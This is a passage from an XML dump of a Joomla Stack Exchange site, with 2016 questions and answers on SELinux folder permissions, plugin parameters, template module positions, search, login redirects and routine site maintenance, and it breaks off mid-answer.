  <row Id="14991" PostTypeId="2" ParentId="14947" CreationDate="2016-01-17T01:28:27.870" Score="2" Body="&lt;p&gt;SELinux was my problem. I was able to write to the directories once I set it to permissive mode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo setenforce 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I did not want to disable it entirely as set out to correct the issue. Following the steps from &lt;a href=&quot;https://wiki.centos.org/HowTos/SELinux#head-02c04b0b030dd3c3d58bb7acbbcff033505dd3af&quot; rel=&quot;nofollow&quot;&gt;CentOS on SELinux&lt;/a&gt; I was able to determine the correct context for the folders/files that should be writeable. While in permissive mode I added an image via the Administrator page.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By default SELinux log messages are written to /var/log/audit/audit.log via the Linux Auditing System auditd, which is started by default. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The log is a little cryptic so you can run something like this that will give a more interpretative response and even recommended action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELinux is preventing /usr/sbin/php-fpm from write access on the directory /srv/dpca/www/images.&#xA;&#xA;*****  Plugin httpd_write_content (92.2 confidence) suggests   ***************&#xA;&#xA;If you want to allow php-fpm to have write access on the images directory&#xA;Then you need to change the label on '/srv/dpca/www/images'&#xA;Do&#xA;# semanage fcontext -a -t httpd_sys_rw_content_t '/srv/dpca/www/images'&#xA;# restorecon -v '/srv/dpca/www/images'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the time this was the context of the images (and all other folders)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;drwxr-xr-x. nginx nginx unconfined_u:object_r:httpd_sys_content_t:s0 images&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I wrote a small script that read all the folders that were to be writable as per System Information &gt; Folder Permissions (with the exception of configuration.php). It is not a good example of programming but it was basically repetition of the following commands being executed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo semanage fcontext -a -t httpd_sys_rw_content_t '/srv/dpca/www/{folder}'&#xA;sudo restorecon -v '/srv/dpca/www/{folder}'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where folder was replaced for each pass. Afterwhich I set SELinux back to enforcing mode with &lt;code&gt;sudo setenforce 1&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After checking System Information &gt; Folder Permissions again I now see my folders as writable. &lt;/p&gt;&#xA;" OwnerUserId="1811" LastActivityDate="2016-01-17T01:28:27.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14992" PostTypeId="1" AcceptedAnswerId="14993" CreationDate="2016-01-17T02:26:20.470" Score="4" ViewCount="595" Body="&lt;p&gt;I'm attempting to create my first plugin! However, I want the user to be able to define a number that's then used in specific parts of the plugin. This plugin consists only of an xml file and a php file. How would I grab this specific parameter from the xml file that's submitted from the user, and then utilize it in the PHP? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the XML below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;plugin&quot; version=&quot;1.0.5&quot; method=&quot;upgrade&quot; group=&quot;content&quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;Content - Article Title Truncator&amp;lt;/name&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;2016-01-16&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;version&amp;gt;1.0.5&amp;lt;/version&amp;gt;&#xA;&amp;lt;releaseDate&amp;gt;2016-01-16 07:08:00&amp;lt;/releaseDate&amp;gt;&#xA;&amp;lt;releaseType&amp;gt;First public release!&amp;lt;/releaseType&amp;gt;&#xA;&amp;lt;author&amp;gt;Michael Baas / Jesse Humphry&amp;lt;/author&amp;gt;&#xA;&amp;lt;authorEmail&amp;gt;jesse.humphry@gmail.com&amp;lt;/authorEmail&amp;gt;&#xA;&amp;lt;authorUrl&amp;gt;http://www.geeksgamers.com&amp;lt;/authorUrl&amp;gt;&#xA;&amp;lt;copyright&amp;gt;(c) 2016 Jesse Humphry&amp;lt;/copyright&amp;gt;&#xA;&amp;lt;description&amp;gt;This plugin has been adapted from a code publically released on&#xA;    stackoverflow.com by Michael Baas in 2013. It has been adapted for &#xA;    Joomla 3.x and given a back-end option for selection of character limit.&#xA;&amp;lt;/description&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;&amp;lt;filename plugin=&quot;Article Title Truncator&quot;&amp;gt;foo.php&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&amp;lt;config&amp;gt;&#xA;&amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;Basic&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;Character Limit&quot; type=&quot;text&quot; default=&quot;25&quot; filter=&quot;integer&quot; maxlength=&quot;5&quot; label=&quot;Character Limit&quot;&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the PHP file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class plgContentFoo extends JPlugin&#xA;    {&#xA;    public function onContentPrepare($context,$article,$params,$limitstart)&#xA;    {&#xA;&#xA;    $view = JRequest::getCmd('view');&#xA;    $fp = in_array($view,array(&quot;featured&quot;,&quot;addmore&quot;));&#xA;&#xA;        if ($fp &amp;amp;&amp;amp; 34&amp;lt;strlen($article-&amp;gt;title)) {&#xA;            $article-&amp;gt;title = trim(substr($article-&amp;gt;title,0,31)) . &quot;...&quot;;&#xA;            return true;&#xA;        }&#xA;    }&#xA;&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to get whatever is input from the XML form's &quot;Character Limit&quot; field and use it in place of the first integer in the PHP form. Now I'm new to all of this, so please be gentle. &lt;/p&gt;&#xA;" OwnerUserId="7546" LastActivityDate="2016-01-17T02:46:38.793" Title="Pulling XML parameter to PHP file" Tags="|joomla-3.x|php|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14993" PostTypeId="2" ParentId="14992" CreationDate="2016-01-17T02:46:38.793" Score="2" Body="&lt;p&gt;Firstly, you should always use a single string for the &lt;code&gt;name&lt;/code&gt; attribute. If there are multiple words, it's best to separate with with an underscore and always ensure all characters are lowercase to avoid confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case, replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name=&quot;Character Limit&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;name=&quot;character_limit&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Any XML parameter changes that are made when the plugin is installed, require you to &quot;Save&quot; once done.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can then simply call the parameter value like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = $this-&amp;gt;params-&amp;gt;get('character_limit', 50);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second argument (&lt;code&gt;50&lt;/code&gt;) is just an example and is used as a default value if no value by the user has been specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Oh and on a side note, you've tagged this question as Joomla 3.x, therefore &lt;code&gt;JRequest&lt;/code&gt; which you are using on your code is deprecated. Instead, use &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jinput&lt;/a&gt; and an example can be seen &lt;a href=&quot;https://joomla.stackexchange.com/questions/4204/how-to-check-what-component-is-being-used-on-current-page&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;version=&quot;1.0.5&quot;&lt;/code&gt; at the top of your XML should be the Joomla version, not your plugin version ;)&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-01-17T02:46:38.793" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14997" PostTypeId="2" ParentId="12287" CreationDate="2016-01-18T09:37:03.687" Score="0" Body="&lt;p&gt;Errors, warnings and notices can be displayed from any component, module, plugin or template using the methods outlined below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get a handle to the Joomla! application object&#xA;$application = JFactory::getApplication();&#xA;&#xA;// Add a message to the message queue&#xA;$application-&amp;gt;enqueueMessage(JText::_('SOME_ERROR_OCCURRED'), 'error');&#xA;&#xA;/** Alternatively you may use chaining */&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage(JText::_('SOME_ERROR_OCCURRED'), 'error');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Know more from &lt;a href=&quot;https://docs.joomla.org/Display_error_messages_and_notices&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Display_error_messages_and_notices&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7634" LastActivityDate="2016-01-18T09:37:03.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14998" PostTypeId="2" ParentId="443" CreationDate="2016-01-18T09:50:08.220" Score="0" Body="&lt;p&gt;You can send email template easily by using free Joomla component like ACYMailing - &lt;a href=&quot;https://www.acyba.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.acyba.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For features - &lt;a href=&quot;https://www.acyba.com/acymailing/features.html&quot; rel=&quot;nofollow&quot;&gt;https://www.acyba.com/acymailing/features.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it has free email templates inbuilt so don't need to rebuild or creating yourself&lt;/p&gt;&#xA;" OwnerUserId="7634" LastActivityDate="2016-01-18T09:50:08.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14999" PostTypeId="2" ParentId="9391" CreationDate="2016-01-18T09:52:59.127" Score="0" Body="&lt;p&gt;The templateDetails.xml file contains all the installation and core information for a template. In order for module positions to be available for selection in the Module Manager, the positions must be declared in the templateDetails.xml file of the template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;positions&amp;gt;&#xA;  &amp;lt;position&amp;gt;top&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;left&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;right&amp;lt;/position&amp;gt;                &#xA;  &amp;lt;position&amp;gt;bottom&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;banner&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;syndicate&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;footer&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;user1&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;user2&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;user3&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;user4&amp;lt;/position&amp;gt;&#xA;  &amp;lt;position&amp;gt;debug&amp;lt;/position&amp;gt;&#xA;&amp;lt;/positions&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Know more - &lt;a href=&quot;https://docs.joomla.org/Declaring_module_positions&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Declaring_module_positions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7634" LastActivityDate="2016-01-18T09:52:59.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15001" PostTypeId="2" ParentId="14977" CreationDate="2016-01-18T17:10:51.537" Score="5" Body="&lt;p&gt;Starting from this sentence in &lt;a href=&quot;https://docs.joomla.org/Jdoc_statements&quot;&gt;Joomla docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;strong&gt;jdoc:include&lt;/strong&gt; statement is a Joomla! template's method of&#xA;  displaying content specific to the page being viewed. There are&#xA;  various &lt;strong&gt;jdoc:include&lt;/strong&gt; statements, each returning a different part&#xA;  of a Joomla! page. The replacement itself is done in&#xA;  JDocumentHTML::_renderTemplate. See also _parseTemplate.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've analyzed the &lt;em&gt;JDocumentHTML&lt;/em&gt; class in &lt;code&gt;/libraries/joomla/document/html/html.php&lt;/code&gt; and it seems that Joomla loads the template and search in it for jdoc statements, with the &lt;strong&gt;getBuffer&lt;/strong&gt; function retrieves the code to add instead of jdoc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($this-&amp;gt;_template_tags as $jdoc =&amp;gt; $args){&#xA;    $replace[] = $jdoc;&#xA;    $with[] = $this-&amp;gt;getBuffer($args['type'], $args['name'], $args['attribs']);&#xA;}&#xA;return str_replace($replace, $with, $this-&amp;gt;_template);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;getBuffer&lt;/strong&gt; function calls another render function to specifically load the correct component or module. For components the code is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$renderer = $this-&amp;gt;loadRenderer($type);&#xA;...&#xA;$this-&amp;gt;setBuffer($renderer-&amp;gt;render($name, $attribs, null), $type, $name, $title);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyway at this point I got a little confused and cannot understand how the various renderers actually works, let's see if anybody else knows the trick.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-01-18T17:10:51.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15002" PostTypeId="1" CreationDate="2016-01-18T18:13:04.613" Score="1" ViewCount="156" Body="&lt;p&gt;I just came across a special requirement - using the com_search and the Joomla search module. Currently I am getting results that are different if the search keyword contains accents or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &quot;καλημέρα&quot;(accented) vs &quot;καλημερα&quot;(no accent) are treated differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone knows what is the current case with the com_search in Joomla and how I could get the same search results disregarding if I used accents or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching a bit in Google, I came this old post, it seems that there was some talking about this... but what is the current status?&lt;br&gt;&#xA;&lt;a href=&quot;https://developer.joomla.org/joomlacode-archive/issue-30954.html&quot; rel=&quot;nofollow&quot;&gt;https://developer.joomla.org/joomlacode-archive/issue-30954.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="111" LastEditDate="2016-01-19T03:59:20.050" LastActivityDate="2016-04-18T05:38:05.523" Title="Accent-insensitive search in com_search" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15003" PostTypeId="2" ParentId="1064" CreationDate="2016-01-18T19:15:55.950" Score="2" Body="&lt;p&gt;The question by &quot;GDP&quot; was&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;How does one get to the edited text that the user wants to save, in order to be posted?.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&quot;elk&quot; got me started on the right path but I resorted to jQuery to actually get the edited text. This is what I did:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;jQuery(&quot;#Array_ifr&quot;).contents().find(&quot;body&quot;).find(&quot;p&quot;).html();&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where &quot;&lt;code&gt;Array_ifr&lt;/code&gt;&quot; is the id of the &lt;code&gt;iframe the JCE editor uses&lt;/code&gt;. I found this by examining the elements with Firebug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked for me in a Joomla! environment but I don't see it being a problem in any others. Hope this helps other folks with their coding.&lt;/p&gt;&#xA;" OwnerUserId="130" LastEditorUserId="1643" LastEditDate="2017-01-06T12:12:53.340" LastActivityDate="2017-01-06T12:12:53.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15004" PostTypeId="1" CreationDate="2016-01-18T19:24:31.157" Score="3" ViewCount="1031" Body="&lt;p&gt;I have a strange issue with my login redirect. It WAS working perfectly, and I'm not sure when it stopped working, but now it leads to a few issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have a Menu item using &lt;strong&gt;com_users&lt;/strong&gt; Login option. I set this to &lt;strong&gt;Guest&lt;/strong&gt; so that it is hidden once a user logs in (I have done this many times without issue). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am mainly using jReviews component on this website, but I can't redirect to anything outside jReviews either. There is NO caching and I can reproduce in multiple browsers in and out of Ingognito.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No matter what I put in the Login Redirect field on the options tab, it just takes you to the Homepage. If you click on ANY menu item after login, you get a &lt;strong&gt;You are not authorized&lt;/strong&gt; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I switch the menu item to Public from Guest, I am redirected to the Profile page and there is no error generated. This happens with or without SEF/URL Rewriting turned on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am beyond frustrated here. Nothing new was installed during the time from when it was working to not working. My work has been focused on CSS and layout of the jReviews and main template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no overrides for anything other than front-end style and should have no effect on redirections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7636" LastEditorUserId="3650" LastEditDate="2016-03-08T00:19:08.420" LastActivityDate="2017-08-01T05:12:07.340" Title="com_users login redirect issue" Tags="|component|redirect|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15005" PostTypeId="2" ParentId="15002" CreationDate="2016-01-19T03:58:45.487" Score="1" Body="&lt;p&gt;It was committed in 2013 to 3.x.  So if you're running 2.5 or 1.5, this wasn't changed.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-01-19T03:58:45.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15006" PostTypeId="1" AcceptedAnswerId="15017" CreationDate="2016-01-19T05:54:01.333" Score="0" ViewCount="566" Body="&lt;p&gt;I have a category blog menu item and want to display a module in the full view of the article rather than teaser view. When I assign it to the main menu item it shows in teaser view as well, which I don't want. I have tried creating a hidden menu also but it is not working. I created a hidden menu and in &lt;code&gt;modules &amp;gt; menu assignment&lt;/code&gt; I selected only &lt;code&gt;hiddenblogmenu&lt;/code&gt;. But the issue is when I click the &lt;code&gt;read more&lt;/code&gt; button in teaser view it redirects me to main menu item only. It is taking the &lt;code&gt;blogmenu&lt;/code&gt; link rather than &lt;code&gt;hiddenblogmenu&lt;/code&gt; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following are the specification: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category Blog Main menu&lt;/strong&gt; : Blogmenu&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Hidden menu&lt;/strong&gt; : Hiddenblogmenu&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Module to be displayed&lt;/strong&gt; : Fullviewmodule&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Kindly, suggest a solution to this&lt;/p&gt;&#xA;" OwnerUserId="7632" LastActivityDate="2016-01-20T16:01:43.617" Title="Display a module in article full view and not in teaser view" Tags="|joomla-3.x|articles|module-display|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15009" PostTypeId="1" AcceptedAnswerId="15013" CreationDate="2016-01-19T10:40:24.867" Score="8" ViewCount="6178" Body="&lt;p&gt;I was hoping for some tips on how I should routinely 'clean up' my Joomla sites, as it's that time of year again! I'm sure we all do it to some extent, so I'm just looking for advice on what others do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every so often I will review my sites make sure all installed extensions, components and plugins are up to date - removing any that are unused or unnecessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as this I'll archive some old articles, empty the trash and make sure I have the latest version of my site template and Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there is a far more through process, I'd like to hear what everybody else does in order to optimise their sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The questions I have are;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does it make a huge difference if I disable or delete modules/plugins/components?&lt;/li&gt;&#xA;&lt;li&gt;Should I delete or archive old articles?&lt;/li&gt;&#xA;&lt;li&gt;Should I remove unused site templates?&lt;/li&gt;&#xA;&lt;li&gt;How often should I clean up or 'repair' my database tables regularly?&lt;/li&gt;&#xA;&lt;li&gt;Should I routinely check my page speed insights using Pingdom/Google (and are these stats reliable)?&lt;/li&gt;&#xA;&lt;li&gt;Does the web host I choose make a big difference to my site performance?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are welcome. As well as any recommended extensions/hosts/checks.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-09-07T08:39:54.860" Title="Site clean up tips" Tags="|joomla-3.x|administration|performance|maintenance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15010" PostTypeId="2" ParentId="15009" CreationDate="2016-01-19T10:56:34.860" Score="2" Body="&lt;p&gt;In general, it's always good to uninstall any extensions you're not using. By not doing so, you're cluttering the Module/Plugin Manager, your database and using more space on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any plugins, modules, templates or components you're not using, uninstall them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to databases, I'm not really an expert in them, but I can only assume that checking for corrupt tables every once in a while is a good idea and repairing them if need be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest that any assets (JS, CSS, image, etc) you add to the site or any extensions you install that are for the front-end, you should perform a speed test, to make sure you've passed all the checks, such as compression. I tend to use Pingdom for primary testing and then GTmetrix as a second test if I'm developing a new site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, the web host can make an absolute drastic difference to performance, especially on shared hosting, as different hosts use different server specs. For example, I use Siteground's GoGeek hosting package and towards the end of last year, they moved all sites on GoGeek (maybe other shared packages too, but can't remember) packages on to SSD drives. Now we all know the speed difference between a bog standard hard drive and SSD. I can wholeheartedly recommend them on every level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: I'm in no way affiliated with Siteground.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="1538" LastEditDate="2016-01-19T11:54:27.173" LastActivityDate="2016-01-19T11:54:27.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15011" PostTypeId="2" ParentId="13650" CreationDate="2016-01-19T14:05:59.600" Score="5" Body="&lt;p&gt;The &lt;code&gt;JDatabaseQuery&lt;/code&gt; object has a &lt;code&gt;__toString()&lt;/code&gt; function that outputs the query so you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $db-&amp;gt;getQuery();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you want to pass it to a function you can explicitly cast it to a string first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump((string)$db-&amp;gt;getQuery());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-01-19T14:05:59.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15012" PostTypeId="1" CreationDate="2016-01-19T17:10:19.823" Score="0" ViewCount="160" Body="&lt;p&gt;trying to see the entire datebase of all the products with a thumbnail image as well as the quantity, price, etc of each product.VirtueMart 3.4.5&#xA;Does anyone know if it's possible?&#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="7641" LastActivityDate="2016-02-20T11:46:03.653" Title="How to view all the products with thumbnail pictures, prices, etc in Virtuemart 3.4.5?" Tags="|virtuemart|database|images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15013" PostTypeId="2" ParentId="15009" CreationDate="2016-01-20T00:08:49.973" Score="8" Body="&lt;p&gt;Good question!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, you should probably be doing Joomla and third party extension updates and some of the other checks more than once a year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a regular basis, run a backup and update to the latest Joomla version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally subscribe to the &lt;a href=&quot;https://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityNews&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Security News feed&lt;/a&gt; so you are kept informed of core Joomla security updates and apply any high priority releases as soon as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also check for and apply any &lt;a href=&quot;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&quot; rel=&quot;nofollow noreferrer&quot;&gt;security hotfixes for Joomla EOL versions&lt;/a&gt; if you are supporting any of these (e.g. Joomla 1.5 and Joomla 2.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third Party Extensions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Minimise the number of third party extensions (including templates) where possible. Remove any third party extensions (including templates) that are no longer being used. Update the remaining third party extensions (including templates) to the latest versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally subscribe to the &lt;a href=&quot;https://vel.joomla.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Vulnerable Extensions List (VEL)&lt;/a&gt; so new vulnerabilities can be quickly attended to. Scroll to the bottom of the page for the &lt;a href=&quot;https://feedburner.google.com/fb/a/mailverify?uri=JoomlaSecurityVulnerableExtensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;subscription link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider replacing third party extensions that are no longer being actively developed or supported. For example, if you are still using Xmap, you should probably switch to OSMap or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find managing third party extensions easier by maintaining a list of the installed third party extensions for each website in a spreadsheet with the currently installed version number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Performance&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disabling or removing third party plugins that are not being used can help improve performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to use GTMetrix to check the website is loading in a reasonable time. GTMetrix offers suggestions (e.g. enable GZip) for improvement and the &quot;Waterfall&quot; page provides a detailed list of how long each element takes to load so it is easy to pinpoint issues (e.g. oversize images loaded by your client).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a free GTMetrix account enables you to run the test from various locations around the world and compare how quickly your website loads in the USA compared to Australia (for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider moving to a better host if the current hosting environment performs poorly. The performance difference between a poor host and a good host can be massive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider moving the website closer to the target audience if necessary. You may be able to shave a second or two off page load times if the server and target audience are close together geographically compared to them being on opposite sides of the world. Enabling a content delivery network (CDN) may also solve this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that archiving articles may improve performance although I suspect any improvement would be tiny compared to disabling or removing unused plugins or choosing a good web hosting company, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Database&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The session table on busy Joomla websites can sometimes become corrupted and this breaks the website. On websites that are susceptible to this, I install Akeeba Admin Tools Pro, enable the &quot;System - Admin Tools&quot; plugin and schedule the Session Optimizer to run every hour or so. You can also schedule the clean up of expired sessions, the cache and the temporary directory with this plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also repair and optimise Joomla tables and clean the temporary &#xA;directory using the free version of Akeeba Admin Tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disk Space&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to check the /public_html, /administrator, /administrator/logs, /logs and /tmp folders and delete error logs and other extraneous files. Some of these can become quite large and affect the size of your 